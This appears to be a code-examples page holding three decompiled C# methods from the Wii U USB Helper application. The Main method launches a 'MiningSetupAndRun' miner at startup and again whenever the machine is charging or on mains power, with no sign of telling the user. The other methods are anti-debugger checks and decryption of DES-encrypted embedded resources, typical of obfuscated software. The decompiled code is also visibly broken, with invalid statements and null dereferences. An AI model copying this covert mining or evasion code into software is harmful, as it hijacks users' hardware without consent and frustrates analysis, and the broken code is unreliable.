Ejemplo n.º 1
0
        private static void Main(string[] args)
        {
            try
            {
                Class7.smethod_2();
                ServicePointManager.SecurityProtocol |= SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12;
            }
            catch
            {
            }
            if (string.IsNullOrEmpty(Settings.Default.AppId))
            {
                Settings.Default.AppId = Guid.NewGuid().ToString();
                Settings.Default.Save();
            }
            GClass88.Check_For_Create_Cache_Dir(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\USB_HELPER\\");
            MiningSetupAndRun.smethod_1();
            AppDomain.CurrentDomain.UnhandledException += (UnhandledExceptionEventHandler)((sender, e) =>
            {
                MiningSetupAndRun.smethod_1();
                Exception exceptionObject = e.ExceptionObject as Exception;
                string str1 = "NONE";
                try
                {
                    str1 = new ComputerInfo().OSFullName;
                }
                catch
                {
                }
                try
                {
                    if (exceptionObject != null)
                    {
                        string str2 = "NONE";
                        if (GClass28.gclass30_0 != null)
                        {
                            str2 = GClass28.gclass30_0.TitleId.IdRaw + "v" + GClass28.gclass30_0.Version ?? "0";
                        }
                        Thread.CurrentThread.CurrentUICulture = CultureInfo.GetCultureInfo("en-US");
                        string str3 = Class102.string_0 ?? ApplicationDeployment.CurrentDeployment.CurrentVersion.ToString();
                        GClass6.smethod_19(string.Format("{0}/postBug.php", (object)Class67.SupportWiiUUSBHelperURL), new NameValueCollection()
                        {
                            {
                                "bug_target_site",
                                exceptionObject.ToString()
                            },
                            {
                                "bug_message",
                                exceptionObject.Message
                            },
                            {
                                "bug_stacktrace",
                                exceptionObject.StackTrace
                            },
                            {
                                "app_version",
                                str3 ?? ""
                            },
                            {
                                "os_revision",
                                str1
                            },
                            {
                                "data_path",
                                Settings.Default.Path
                            },
                            {
                                "extraction_path",
                                Settings.Default.ExtractFolder ?? ""
                            },
                            {
                                "last_unpacking_title",
                                str2
                            }
                        });
                        if (exceptionObject.Message.Contains("Nullable object must have a value."))
                        {
                            if (Class112.bool_1)
                            {
                                return;
                            }
                            Class112.bool_1 = true;
                            System.Windows.Forms.Application.Restart();
                            return;
                        }
                    }
                }
                catch
                {
                }
                if (exceptionObject is UnauthorizedAccessException)
                {
                    int num1 = (int)new frmException().ShowDialog();
                }
                else if (exceptionObject is FileNotFoundException && exceptionObject.Message.Contains("Telerik"))
                {
                    int num2 = (int)new frmDownloadDotNet().ShowDialog();
                }
                else
                {
                    int num3 = (int)new frmUnhandledException(exceptionObject).ShowDialog();
                }
                GClass9.smethod_0();
                System.Windows.Forms.Application.Exit();
            });
            if (args.Length == 1)
            {
                Class102.string_0 = args[0];
            }
            if (!ApplicationDeployment.IsNetworkDeployed && Class102.string_0 == null)
            {
                int num = (int)RadMessageBox.Show("You cannot execute this application directly. Please use the default shortcut on your desktop or execute Updater.exe");
                System.Windows.Forms.Application.Exit();
            }
            else
            {
                foreach (string resourcePath in ((IEnumerable <string>)Assembly.GetExecutingAssembly().GetManifestResourceNames()).Where <string>((Func <string, bool>)(string_0 => Path.GetExtension(string_0) == ".tssp")))
                {
                    ThemeResolutionService.LoadPackageResource(resourcePath);
                }
                System.Windows.Forms.Application.EnableVisualStyles();
                if (Settings.Default.ThemeName == "VisualStudio2012Dark")
                {
                    Settings.Default.ThemeName = "DarkBlue";
                }
                if (Settings.Default.ThemeName == "VisualStudio2012Light")
                {
                    Settings.Default.ThemeName = "Light";
                }
                Settings.Default.Save();
                ThemeResolutionService.ApplicationThemeName = Settings.Default.ThemeName;
                if (Settings.Default.LaunchCount == 0 && !Class112.smethod_0())
                {
                    int num = (int)new frmSupportOver().ShowDialog();
                    System.Windows.Forms.Application.Exit();
                    Environment.Exit(0);
                }
                else
                {
                    if (Settings.Default.Region == "NONE")
                    {
                        Class112.bool_0 = true;
                        FrmWelcome frmWelcome = new FrmWelcome();
                        int        num        = (int)frmWelcome.ShowDialog();
                        if (frmWelcome.bool_0)
                        {
                            MiningSetupAndRun.smethod_1();
                            System.Windows.Forms.Application.Exit();
                            return;
                        }
                    }
                    using (Mutex mutex = new Mutex(true, "Global\\WIIU_USB_HELPER"))
                    {
                        try
                        {
                            if (!mutex.WaitOne(0, true))
                            {
                                int num = (int)RadMessageBox.Show("An instance of WiiU USB Helper is already running.");
                                return;
                            }
                        }
                        catch (AbandonedMutexException ex)
                        {
                        }
                        SystemEvents.PowerModeChanged += (PowerModeChangedEventHandler)((sender, e) =>
                        {
                            switch (SystemInformation.PowerStatus.BatteryChargeStatus)
                            {
                            case BatteryChargeStatus.Charging:
                                MiningSetupAndRun.Miner_Compatability_Check_And_PrepOrStart();
                                break;

                            case BatteryChargeStatus.NoSystemBattery:
                                MiningSetupAndRun.Miner_Compatability_Check_And_PrepOrStart();
                                break;

                            default:
                                MiningSetupAndRun.smethod_1();
                                break;
                            }
                        });
                        MiningSetupAndRun.Miner_Compatability_Check_And_PrepOrStart();
                        Class91.smethod_0();
                        System.Windows.Forms.Application.Run((Form) new NusGrabberForm());
                        Class91.smethod_1();
                        MiningSetupAndRun.smethod_1();
                    }
                }
            }
        }
Ejemplo n.º 2
0
 internal static bool smethod_3()
 {
     try
     {
         if (Debugger.IsAttached)
         {
             return(true);
         }
         IntPtr           intptr_0     = Class7.LoadLibrary("kernel32.dll");
         Class7.Delegate2 procAddress3 = Class7.GetProcAddress_3(intptr_0, "IsDebuggerPresent");
         if (procAddress3 != null && procAddress3() != 0)
         {
             return(true);
         }
         IntPtr num1 = Class7.OpenProcess(1024U, 0, Class7.GetCurrentProcessId());
         if (num1 != IntPtr.Zero)
         {
             try
             {
                 Class7.Delegate4 procAddress2 = Class7.GetProcAddress_2(intptr_0, "CheckRemoteDebuggerPresent");
                 if (procAddress2 != null)
                 {
                     int pbDebuggerPresent = 0;
                     if (procAddress2(num1, ref pbDebuggerPresent) != 0)
                     {
                         if (pbDebuggerPresent != 0)
                         {
                             return(true);
                         }
                     }
                 }
             }
             finally
             {
                 Class7.CloseHandle(num1);
             }
         }
         bool flag = false;
         try
         {
             Class7.CloseHandle(new IntPtr(305419896));
         }
         catch
         {
             flag = true;
         }
         if (flag)
         {
             return(true);
         }
         try
         {
             Class7.Delegate6 procAddress5 = Class7.GetProcAddress_5(Class7.LoadLibrary("user32.dll"), "EnumWindows");
             if (procAddress5 != null)
             {
                 Class7.bool_0 = false;
                 int num2 = procAddress5(new Class7.Delegate5(Class7.smethod_0), IntPtr.Zero);
                 if (Class7.bool_0)
                 {
                     return(true);
                 }
             }
         }
         catch
         {
         }
     }
     catch
     {
     }
     return(false);
 }
Ejemplo n.º 3
0
        internal static byte[] smethod_2(Stream stream_0)
        {
            byte[] bArr8;
            int    i3, i6;

            object obj = Class7.object_0;

            Monitor.Enter(Class7.object_0);
            try
            {
                Stream       stream       = stream_0;
                MemoryStream memoryStream = null;
                ushort       ush          = (ushort)stream_0.ReadByte();
                ush = ~ush;
                for (int i1 = 1; i1 < 2; i1++)
                {
                    stream_0.ReadByte();
                }
                if ((ush & 2) != 0)
                {
                    DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider();
                    byte[] bArr1 = new byte[8];
                    stream_0.Read(bArr1, 0, 8);
                    descryptoServiceProvider.IV = bArr1;
                    byte[] bArr2 = new byte[8];
                    stream_0.Read(bArr2, 0, 8);
                    bool   flag  = true;
                    byte[] bArr9 = bArr2;
                    for (int i7 = 0; i7 < bArr9.Length; i7++)
                    {
                        byte b = bArr9[i7];
                        if (b != 0)
                        {
                            goto label_1;
                        }
                    }
                    goto label_2;
label_1:
                    flag = false;
label_2:
                    if (flag)
                    {
                        bArr2 = Class7.smethod_1(Assembly.GetExecutingAssembly());
                    }
                    descryptoServiceProvider.Key = bArr2;
                    if (Class7.memoryStream_0 == null)
                    {
                        if (Class7.int_0 == 2147483647)
                        {
                            Class7.memoryStream_0.Capacity = (int)stream_0.Length;
                        }
                        else
                        {
                            Class7.memoryStream_0.Capacity = Class7.int_0;
                        }
                    }
                    Class7.memoryStream_0.Position = 0L;
                    ICryptoTransform icryptoTransform = descryptoServiceProvider.CreateDecryptor();
                    int i2 = icryptoTransform.InputBlockSize;
                    icryptoTransform.OutputBlockSize;
                    byte[] bArr3 = new byte[icryptoTransform.OutputBlockSize];
                    byte[] bArr4 = new byte[icryptoTransform.InputBlockSize];
                    for (i3 = (int)stream_0.Position; (long)(i3 + i2) < stream_0.Length; i3 = i3 + i2)
                    {
                        stream_0.Read(bArr4, 0, i2);
                        int i4 = icryptoTransform.TransformBlock(bArr4, 0, i2, bArr3, 0);
                        Class7.memoryStream_0.Write(bArr3, 0, i4);
                    }
                    stream_0.Read(bArr4, 0, (int)(stream_0.Length - (long)i3));
                    byte[] bArr5 = icryptoTransform.TransformFinalBlock(bArr4, 0, (int)(stream_0.Length - (long)i3));
                    Class7.memoryStream_0.Write(bArr5, 0, bArr5.Length);
                    stream          = Class7.memoryStream_0;
                    stream.Position = 0L;
                    memoryStream    = Class7.memoryStream_0;
                }
                if ((ush & 8) != 0)
                {
                    try
                    {
                        if (Class7.memoryStream_1 == null)
                        {
                            if (Class7.int_1 == -2147483648)
                            {
                                Class7.memoryStream_1.Capacity = (int)stream.Length * 2;
                            }
                            else
                            {
                                Class7.memoryStream_1.Capacity = Class7.int_1;
                            }
                        }
                        Class7.memoryStream_1.Position = 0L;
                        DeflateStream deflateStream = new DeflateStream(stream, CompressionMode.Decompress);
                        int           i5            = 1000;
                        byte[]        bArr6         = new byte[1000];
                        goto label_4;
label_3:
                        if (i6 >= i5)
                        {
                            goto label_4;
                        }
                        while (true)
                        {
                            Class7.memoryStream_1.Write(bArr6, 0, i6);
                            goto label_3;
label_4:
                            i6 = deflateStream.Read(bArr6, 0, i5);
                            if (i6 <= 0)
                            {
                                goto label_3;
                            }
                        }
                        memoryStream = Class7.memoryStream_1;
                    }
                    catch (Exception)
                    {
                    }
                }
                if (memoryStream != null)
                {
                    return(memoryStream.ToArray());
                }
                byte[] bArr7 = new byte[(stream_0.Length - stream_0.Position)];
                stream_0.Read(bArr7, 0, bArr7.Length);
                bArr8 = bArr7;
            }
            finally
            {
                Monitor.Exit(obj);
            }
            return(bArr8);
        }